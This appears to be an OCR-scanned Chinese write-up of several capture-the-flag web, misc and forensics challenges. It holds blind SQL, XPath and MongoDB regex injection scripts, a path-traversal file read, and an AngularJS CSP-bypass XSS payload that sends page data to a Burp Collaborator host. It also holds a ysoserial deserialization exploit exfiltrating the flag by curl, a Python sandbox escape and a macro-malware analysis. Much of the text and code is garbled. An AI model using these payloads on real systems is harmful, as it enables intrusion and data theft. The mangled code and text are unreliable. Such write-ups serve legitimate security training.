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1 <html lang="en">
2 <head>
3 <meta charzet="UTF-8">
4 <titlerInspector Gadget</title>
5 {meta name="viewport” content="width=device—width, initial-scale=1, user—scalable=no”>
6 <link rel="icon” href="fstatic/images/favicon.pnz" >
7 {link rel="stylesheet” href="/static/css/main. czs”>
8 </head>
9 <hody>
<center»<hl>CHTE {</hl></center>
1 <div id="container”>< dive
2 < body>
3 {zoript sro="https:ffcdnis. cloudflare. comfajax libs/three. 12/87 three. min, j2° »</script>
4 <{zeript src="https:/ threejs. org/exanples/js controls/OrbitControls. i #< =cript>
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{zoript sro="https:ffcdnjs. cloudflare. comfajax libs/g=ap/ 1. 20, 2/ TweenMax. min, j= #< script>
<zoript sro="/static/iz/main. jz" < script>
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</html> \

Web-emoji-voting

7 B J& i F SQLite £ 7, flagR #1344 Hflag_+10HLBEHLHThexF1F .

async migrate() {
let rand = crypto.randomBytes(5).toString( hex');

return this.db.exec(”
DROP TABLE IF EXISTS emojis;
DROP TABLE IF EXISTS flag ${ rand };

CREATE TABLE IF NOT EXISTS flag ${ rand } (
flag TEXT NOT HULL

)i

e B B PFE R Order byiE A

async getEmojis(order) {
/f TOOD: add parametrization
return new Promise(async (resclve, reject) =» {
try {
let query = "SELECT * FROM emojis ORDER BY ${ order }7;
resolve(await this.db.all{query));
1 catch(e) {
| reject(e);
ki
I

FrAZ&SQLITE OrderbyEE, LHE MRS, REHEElagFBRAE, XEMEAlkeRIEA I FHF.
sqlite_masterf FiEERKIE R, FKimysqlijinfomation_schema.



import requests

: base_url,

string.hexdigits
(base_str)<15:
for i in bets:
burp@_json={
(base _str+i)}

r requests.post(burp® _url, headers=burp@®_headers, json=burp@_json)
if r.json()[@0][ ] 1:

base_str+=1

print(base_str)

break

table_name base_str
base_str
string.ascii_lowercase+string.digits string.ascii_uppercase
while True:
for i in bets:
burp@_json={
(table_name,base_str+i)}

r requests.post(burp® _url, headers=burp®_headers, json=burp@_json)
if r.json()[0][ ] 1:

base_str+=1

print(base_str)

break

break
if i

print(

break

PATER (ATFBRMELET, ERECLERHNNEEHKRET) -

[root@idea ~]# python3 emoji-voting.py
CHTB{order_me_this_juicy
CHTB{order_me_this_juicy_
~[cHTB{order_me_this_juicy 1
CHTB{order_me_this_juicy 1in
CHTB{order_me_this_juicy inf
CHTB{order_me_this_juicy_info
CHTB{order_me_this_ juicy info}

Web-Ministryplace

index.phpo< 4R Ag :




<?php
$lang = [ 15
include( . (isset($ GET[ 1 str_replace( 1) : $lang[array_rand($lan
g)1));

?>

flagfEpagesi) LI B, BESRK. /BHATE, WARMNE. /HEELA. /BEE, BRRIBZERHE B

../../flag
oo/ /o) /flag

EN QW
CHTB{f4k3_fl4g_fOr_t3st1ng}

Web-caas
Bt curli# 47 A b SR EL
Controllerfn T :

<?php
class CurlController

{

public function index($router)

{

return $router->view(

public function execute($router)

{
$url $_POST[ 1Is

if (isset($url)) {
$command new CommandModel($url);
return json_encode([ $command->exec() ]);

CommandModelfn T :

<?php

class CommandModel

{
public function _ construct($url)
{

$this->command . escapeshellcmd($url);

public function exec()

{
exec($this->command, $output);
return $output;




flag?E Z T B R H E—Z%, curlml CLERfileth it B A SO, 3232 fileth i M HEXS B] 42, EFlflag

' wrl -—-data “p=file:fff S fflag”
|

Web-Cessation

457/ remap.config 14

regex_map http://.*/shutdown http://127.0.0.1/403

regex_map http://.*/ http://127.0.0.1/

1% & 7% B Al /shutdown, 22X T T 20 7 A5 1) //shutdownit e TECE, 3REX T flag.
(REXEAE, ARERERART)

XA R—AN Apache Traffic Serverf) &t BEHTTP AR 3 A1 22 77 AR 55 2% I mapping ruleshic B 3044

https://docs.trafficserver.apache.org/en/latest/admin-guide/files/remap.config.en.html

http://J& T 9. i fbh R e ILAChost# 4, BTLL BT £ —ANME W Llgeid

Web-Etree

RANBAEN, AR TREBER, RIOXPATHEA

confidential
confidential
confidential
confidential
CHTB{f4k3 flag

id="confidential”

confidential

confidential
confidential
confidential

confidential
confidential
confidential
confidential
_fer_t3sting}

confidential )
conEideneaail hitps://blog.csdn.netffnmsd

¥k g R —ANE T xpath 2 i) F 7 42 3K B staff i &, 485 & [Flname\age\rank\kills, & XML iZ% & ik 3413k B selfDestructCodetrs

2%
https://www.cnblogs.com/zhaozhan/archive/2010/01/17/1650242.html

R IA string-length 77 5 fsubstring 7%, B 8H B BselfDestructCode & EiE A H, Frll et e K&



¥iA: Tomkrutssss' or string-length(selfDestructCode)=%i and ''=' jBitburplH&KE, HWEBKEN21M15, RiG4kE
F| F substring#EATHEN :

import requests

burp@_url
burp@_headers

(base_str) 21:
for i in charsbet:
burp@_json|[ ]=xpath_str index+base_str+i
r requests.post(burp®_url, headers=burp@®_headers, json=burp@_json,proxies={

if in r.text:
base_str+=1
index+=1
print(base_str)
break
if i

break

Web-The_Galactic_Times

S CSP, k—EIHIXH B
BHER—IESWR, flagfE R E127.0.0.195 19 K/alienig 42+

fastify.get('/alien’, (request, reply)
if (request.ip != "127.8.8.1") {
return reply.code(481).send({ message: 'Only localhost is allowed'});

b
return reply.sendFile({'alien.html");

1)

REEEE, SRAAMT RN RHRETHHNSE S, MEERES, BT EZEgXSSRIkE alient] A%

fastify.post( /api/submit”, (request, reply)
{ feedback } = request.body;

if (feedback) {
return db.addFeedback(feedback)
then(() {
bot. purgeData(db);
reply.send({ message: "The Galactic ration has processed your feedback.’ }};
1))
catch(() reply.send({ message: 'T 3 d r t d.", error:

}

return reply.send({ message: 'Missing parameters.', error: 1 });

1

https:/blog.csdn.netffnmsd




puppeteer = require( 'puppeteer'};

browser_options =
headless: »
args: [
"--no-sandbox”’,

"--disable-translate’,

"--hide-scrollbars’,

'--metrics-recording-only’,
--mute-audio’,

"--no-first-run’,

'--safebrowsing-disable-auto-update

purgeData(db )
browser = await puppeteer.launch{browser_options};
page = await browser.newPage();

await page.goto( ' http://127.8.8.1:1337/1list", {
waitUntil: ‘networkidle2’

1
walt browser.close();
wait db.migrate();

s

module.exports = { purgeData }; hitps://blog.csdn.net/fnmsd

list.pugH B)75 BH & FIXSSHEN i o

list.pug X

web_the_galactic_times > challenge > public > list.pug
class="table table-dark"”
class="1list logo" src="/static/images/naruto.jpeg”

scope="col" >#
scope="col" >Comment
scope="col">Submitted at

- if (feedback !== )
- for ( i=8; i < feedback.length; i++)

scope="row"»!{feedback[i].1id}

! {feedback[1i].comment}
!{feedback[1i].created at}

hitps://blog.csdn.netffnmsd
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Content-Security-Policy: default-src 'self';script-src 'self' 'unsafe-eval' https://cdnjs.cloudflare.com/;style-

src 'self' 'unsafe-inline' https://unpkg.com/nes.css/ https://fonts.googleapis.com/;font-src 'self' https://font
s.gstatic.com/;img-src 'self' data:;child-src 'none';object-src 'none’

% 3] 7 http://iwww.ruanyifeng.com/blog/2016/09/csp.htmiZ j5, TR T .

1. default-srchself, WELZWREBRNEREMINE, REEMBEAERIAE,
1. ¥iBframe-ancestors. connect-srcth Aself, A gL iframeMxhrijla) H Atk 42 PAAM i hk .
2. scriptffisrc R B A 35 Fhttps://cdnjs.cloudflare.com/sRE, 7t & Feval
BRI T X X Ehttps:/xz.aliyun.com/t/7372 [ FIEIR A B angular jsSREATEBIEN , AT s (script-sre fu 1F)

M5 @ id xhrk 3k B/alienfI 2, Hifidwindow.opentibase64 5 i T T A 284 H 2= (8 Content-src ) i &)

,true);

o # Fleval4s fratobibpayloadiF 5 —1, BRJFHRK:

POST /api/submit HTTP/1.1

Host: 192.168.92.128:1337

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87
Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed
-exchange;v=b3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

If-None-Match: W/"3815-178e9c77028"
If-Modified-Since: Mon, 19 Apr 2021 10:57:45 GMT
Connection: close

Content-Type: application/json

Content-Length: 433

{"feedback":"<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js></script><div ng|
-app> {{constructor.constructor(\"eval(atob('eGhyIDOgbmV3IFhNTEhOdHBSZXF1ZXNOKCk7DQp4aHIub3BlbigiROVUIiwil2xpc3Q
iLHRydWUpOwOKeGhyLnN1bmQoKTsNCnN1dFRpbWVvdXQoJ3dpbmRvdy5vcGVuKCIodHRwOi8vNj1lkYjk3cHVjaG5jdHVrdmkzOG5qdXQxcHN2a20|
5LmJ1cnBjb2xsYWIvcmFOb3IubmVOLYyIrYnRvYSh4aHIucmVzcGOuc2VUZXhOKSknLDMwMDApOwW ' ))\") () }}</div>"}

5 5|Baseb4 /5T E LR, KfGfag:


http://www.ruanyifeng.com/blog/2016/09/csp.html
https://xz.aliyun.com/t/7372

B! Burp Collaboratar client _ O W

Click "Copy to clipboard"” to generate Burp Collaborator payloads that you can use in your own testing. Any interactions that result from using the
payloads will appear below.

Generate Collaborator payloads
Number to generate: 1 Copy to clippoard | [ Include Collaborator server location

Poll Collaborator interactions

Poll every 60 seconds | Poll now

# 4| Time | Type | Payload | Comment
I N N T L T |T
27  2021-4H-20 01:40:41 UTC DNS cxdvd8z9igss8htbefkSc09apivsih
28  2021-4H-20 01:40:40 UTC DNS cxdvd8zoigss8htbeikSc09apivsih L
20  2021-4H-2001:42:17 UTC DNS 1mok2xoy7fhhx6iv349u1 pyzeqkis7
30 2021-4H-2001:44:03 UTC HTTP 1mok2xoy7fhhx6iv349u1 pyzeqkis 7 IV,
31 2021-4H-20 01:44:03 UTC HTTP 1mok2xoy7fhhxBivi49u1pyzeqkis7 [»
Description | Request to Collaborator T Response from Collaborator ]
Pretty o Actions v INSPECTOR @ X
1 GET [a
JaHRtbCUyMG=hbme IMOQIN; T 151 UyMiUzRSUwQSUyMCUMC Uy MCU2Q 2h 1 YWQIMOUIMEE I jA1M A1 Request Headers (7) W

JAIMIAIMGAIMFAIMONt ZXER] T IwY 2hhenN 1 dCUzRCUSMIVUR104] T Iy T THF T TEET TIw] TIw] TIw] TI
w] TIw] TIw] TNDAG10bGUINOVUaGULM j BHY Weh Y 3Rp Yy Uy MFRpbWVz] TNDT TTGAGL0LGUIMOUIMEE 1M
JAIMAIMFAIMIAIMAIM AIHONE ZXFI] T TwbnF t ZSUzRCUSMnZp ZX dwh 37 0T T Iy TIwY29udGVudCU
zRCUyMndpIHReJ TNEZGV2aWN 1LY dp ZHRe T TTDT TIwaWopdG 1hhC 12V 2F sI8UzRDE1IMEMINE1c2VSL
XNjYthmelJTNEbmSleIlMUUlMEEle&lesleAlhjﬁleAleAlMUNsaWErITIwcmVsJTNEJTI
alllvh iUy UyMGhy ZWYIHOQ 1M T1 M ZzdGF 0aWhM1M: IphWFnZXH1 Mk oYX Ip¥ 20ulnBulyUyHillzR
SUwQ SUyHC Uy MC U MC U HC Uy MC Uy HE Uz 22 phns 1M By ZWwlNO0Q 1M T e dH1 s ZENo ZWVOT T I TIwaH]
121 UzRCUyMi UvRnll 0V Rp Y UvEnllz cyUyEn] vh 3RzdHTheCot aWdu Y30z T I INFJTEBE] TIw] TIw]
TIw] TIw] TIw] TIw] THDbG luayUyMH] 1hCUzRCUyMN0 W 1o 2h1 ZXQIMj I1IMjBocnVmn] THET T TT
Ge3RhdG LT TIGY3NzT TTGhWFph15 ¢ 3MIM IIMOUINEEIM JAIM AT j ALMOMI M Zo ZWFLT INFJ TEET
TIw] TIw] T Iw] THDYm9lk e SUzRSUwl SUvMCUrMC Uy MC Uy MC U MC U MC UzQ 2Rpd 1 Uy MGNs YAz THET 2N
sh3VkeycIMOUIMEEIMAIMjAIMjAIMjAIMFAIMAIMAIM A1H  AIMO N aX V1M B jBGF zcxUzRCUTN
wlhaWefE3dy Y BwIXI1N IINOUINEE LM jALM AIM AT AT JAIMJAI M AIMALMAIMJAIM JATH A
IHONtYWInJ TNFTTEET TIw] TIw] TIw] TIw] TIwI TIwI TIw] TIw] TIwJ TIw] TIw] TIwI TIw] TIw] TIw]
THD aDEIMOUIMONI TIwaH] 1ZiUzRCUyMiUyRnF saWvu] TI] TNF JUUy] ThG ] TexJ UUwT ThE] Th=JUU
FJT1G] Ty ] TIwI UUs] Tk4] ThD JUUy] ThG T Tgz] Ulw ] ThD TUIw] UUy] Thé J Tgz] Uy ] Tk4T ThEJUUS T
ThGITexJUURTT1GTT1GTUUY] T4 ThE TIw] Uy ThGT TexJUUwJ T1GT T1GTUUwT TRCT TOJTUUT T1 &
GTTlw TR TTROT T3 TTHNTT TGV SIT=R ST =0 TeRmes TTHE TTRRT T Tw T T TwrT T Tw T TTw T TTw T T Tw T T Tw T

@{{3} &J @J Search... 0 highlights

ouse |

Web-Wild Goose Hunt
MongoDBJEA

8 == - entrypoint.sh

B #\E =ZFEN EEH)
#1/binfash

# Secure entrypoint

chmod 600 fentrypoint.sh

mkdir ftmp/mongodb

mongod --noauth --dbpath /tmp/mongodb/ &

sleep 2

mongo heros --eval "db.createCollection('users")"

mongo heros --eval 'db.users.insert( £ username: "admin", password: ”CHTE{f4I¢3_ﬂ4g_ﬂ:lr_t3st1ng}“} Y
fusr/bin/supervisord -c /etc/supervisord.conf

M4 Kentrypoint.shELTE ] LR B, flag’s F|MongoDB fjusers# fjadminfH J* i password # .
B H F{# F 7 mongooseiE#MongoDB.

router/index.js



const express require( )
const router express.Router();

const User require(

router.get( , (req, res)

return res.render( )

1)

router.post( , (req, res)

let { username, password } req.body;

if (username password) {

return User.find({
username,
password
3)
.then((user) {
if (user.length 1) {
return res.json({logged: 1, message: ${user[0@].username}." });
} else {

return res.json({logged: @, message:

1
J

b

.catch(() res.json({ message:

}

return res.json({ message:

1)

module.exports router;

MongoDB ] s F $regexiBvEREAT IENILES, wiRiREllogged: 1 Ut ER DR, BNMEKEDR, LAEEF. (FTUHE
KR CHTB{JF k)4 E)

https://docs.mongodb.com/manual/reference/operator/query/regex/



import requests

base_url,

string.ascii_uppercase

for i in charsbet:
burp@_data = { : 5 : base_str+i}
r requests.post(burp® _url, headers=burp@_headers, data=burp@_data,proxies={
})
if in r.text:
base_str+=1
print(base_str)
break

if i

print(

\cmd.exe - python web_wild_goose_hunt.py

D:htesthctirpython web_wild_soose lunt. py
CHTE {1

CHTE {1_

CHTB {1_t

CHTE {1_th

CHTB {1_thl

CHTE {1_thln

CHTB {1_thlnk

CHTE {1_thlnk_

CHTE {1_thlnk_t

CHTE {1_thlnk_th

CHTE {1_thlnk_the

CHTE {1_thlnk_the_

CHTE {1_thlnk the 4

CHTE {1_thlnk_the_d41

CHTE {1_think_the 411

CHTE {1_thlnk_the_411e

CHTE {1_thlnk_the_41len

CHTE {1_thlnk the_41lens

CHTE {1 thlnk the 4llens

CHTE {1_thlnk the 4llens_h

CHTE {1 thlnk the 41lens hd

CHTE {1_thlnk_ the_41lens_hdw

CHTE {1_thlnk_the_d41lens_hdve

CHTE {1_thlnk the_41lens_hdwve_

CHTE {1_thlnk_the_41lens_hdve n

CHTE {1_thlnk the_41lens_hdve_n0

CHTE {1_thlnk the_41lens_hdve n0t

CHTE {1_thlnk_the_41lens_hdve n0t_

CHTE {1_thlnk_the_41lens_hdve n0t_u

CHTE {1_thlnk the_ 41lens_hdve n0t_us
CHTE {1_thlnk the_41lens_hdve n0t_use
CHTE {1_thlnk the 41lens_hdve_n0t_used
CHTE {1_thlnk the_41lens_hdve n0t_used_
CHTE {1 thlnk the 4llens hdve n0t used m
CHTE {1_thlnk the_41lens_hdve_n0dt_used md
CHTE {1 think the 41lens hdve n0t used_mOn
CHTE {1_thlnk the_41lens_hdve_n0t_used_mlng

https://blog.csdn.netfinmp




3 H /doLaunchifiwormZ i) %i \ HBase64 J5 i1 Java/F FILxt &, HE MR %6 FH CommonsCollection2, 45&Weblog, #4171
LB

HTyso B EKIF FEE, BRiMEARuntime.exec# 1T ar & AT, ToshellPF, BOEMEER, ProlEA T TREETHY:
http://jackson-t.ca/runtime-exec-payloads.html
PAT BIAS -

import requests
import base64
import subprocess
burp@_url

burp@_cookies

burp@_headers

k)

popen subprocess.Popen([r , yso_type, command], stdout=subpn
ocess.PIPE)

file content = popen.stdout.read()

expolit_data = base64.b6dencode(file_content)

print(expolit_data)

burpo_datal ]=expolit_data

requests.post(burp®_url, headers=burp@_headers, cookies=burp® cookies, data=burp® _data,proxies={

})

BATER Hiburp BRI -


http://www.jackson-t.ca/runtime-exec-payloads.html

[} M Burp Collabarator client — O X

® Click "Copy to clipboard"” to generate Burp Collaborator payloads that you can use in your own testing. Any interactions that result from using the
payloads will appear below.

Generate Collaborator payloads €
Number to generate: 1 CODY to clipboard @ Include Collaborator server location
F
Poll Collaborator interactions k
Poll every |60 seconds | Poll now
# 4| Time | Type | Payload | Comment
37 2021-48-20 02:13:39 UTC HTTP Snwr34p58mioydj24bat 2wzEfgof 5
38 2021-48-20 02:15:38 UTC HTTP Snwr34p58mioydj24bat 2wzefgof
39 2021-4H-20 021553 UTC HTTP Bnwr3dp58mioydj24bat2wz6fxlgof
40  2021-4H-20 02:16:08 UTC HTTP Bnwradp58mioydj24bat2wz6fxlgof
a1 2021-48-20 02:16:31 UTC HTTP Snwr34p58mioydj24bat 2wzefgof
42 2021-48-20 02:18:33 UTC HTTP Snwr34p58mioydj24bat 2wzEfgof
43 2021-48-20 02:21:16 UTC HTTP Snwr3dps8mioydj24bat2wz6fxlgof
44  2021-4H-20 02:22:50 UTC HTTP Bnwr3dp58mioydj24bat2wz6fxlgof
45  2021-4H-20 02:2503 UTC HTTP Bnwr3dp58mioydj24bai2wz6fxlgof v
Description | Request to CollaboratorT Response from Collaborator ]
Pretty n Actions v INSPECTOR @ X
1 GET /Q0hUOntzdzMzdF9sHM=N0X3Mzc jEO0bHpAX0AkI=99Cg== HITF/1.1 I
2 Host: SnwrddpbSmiowdjldballwzffxzlqdf. burpcollaborator. net Selection N
3 User—Agent: curl/7.68.0
1 Accept: ®/* SELECTED TEXT
o Q0hUQntzdzMzdF9sMzN0X3MzciECbHpeX0akIz
98Cg—
A Y
R DECODED FROM: Basef4 v @ 0
g CHTB{sw33t 133t s3rldlzz @S#?) 2
I | [/ b
| i
E @@ & || > | |search... 0 highlights &
tF
R
B
1]

MISC-Build yourself in
BN B8 H KMEXFE: Python?b 4, ¥ HFbuiltins, REEHHEXNES, ®ikimport.

5 R V3R EUE] T popen, MEF e AR B R IREE] T catflZSHs, @idpopenif HIsTkEL T "lag tt"#1/5, /o iBidpopen
P T "cat flag.txt"#i 3 T flag
subclasses=[]._class__. mro_ [1]._ subclasses_ (); subclasses[7]; subclasses[-4]. exit__ . globals

s keys ( .keys());space [keys[1]][2];1ls=keys[-4][-4]+keys[-4][-2];popen [keys[-5]];flag
popen(ls).read()[-9:-1];cat=keys[8][2]+keys[8][0]+keys[10][1];print(popen(cat+space+flag).read());

Forensics-Invitation

HE S DR A I AR
ABH% T —/Ninvite. docm3fF, T ZJERMEERBEVBA, ShR—MERER.

B RE R I— A OfficeMalScannerfy T.E, T PAIREULHE,


http://www.reconstructer.org/code/OfficeMalScanner.zip

fi# & H docm 32 14 7 iiword/vbaProject.bins 4, {3 F OfficeMalScannerit 1T VBAHS S EX -

ct.bin info

ffnmsd

BT AR, WA R R, (53] T gistk—17:

e T —RIINMBE, BI5ETShel BT HAT, FrARANTIEShell 5 s s H o £ BI AT

—JIFiEFFIMsgBox, RILHMEM A4, JGADebug.Print, 32| T PowerShellfy 4

5 Microsoft Visual Basic for Applications - 3851 - [#321 ({£53)] - O *
& yE &E5E WEW BEA0 BRQ B0 SR IED SNEEFR) S0 EEW -8 X
W & - 4 | 9 pon @ b B @ | 714, 738 i
132 - Project & | (Faf) R | |lnto_[lpen i |
= = odsuozl dxnfin(“5aG1413741 4165414041 4167414541 414041427041416F41494141674147341414941414b414741414—
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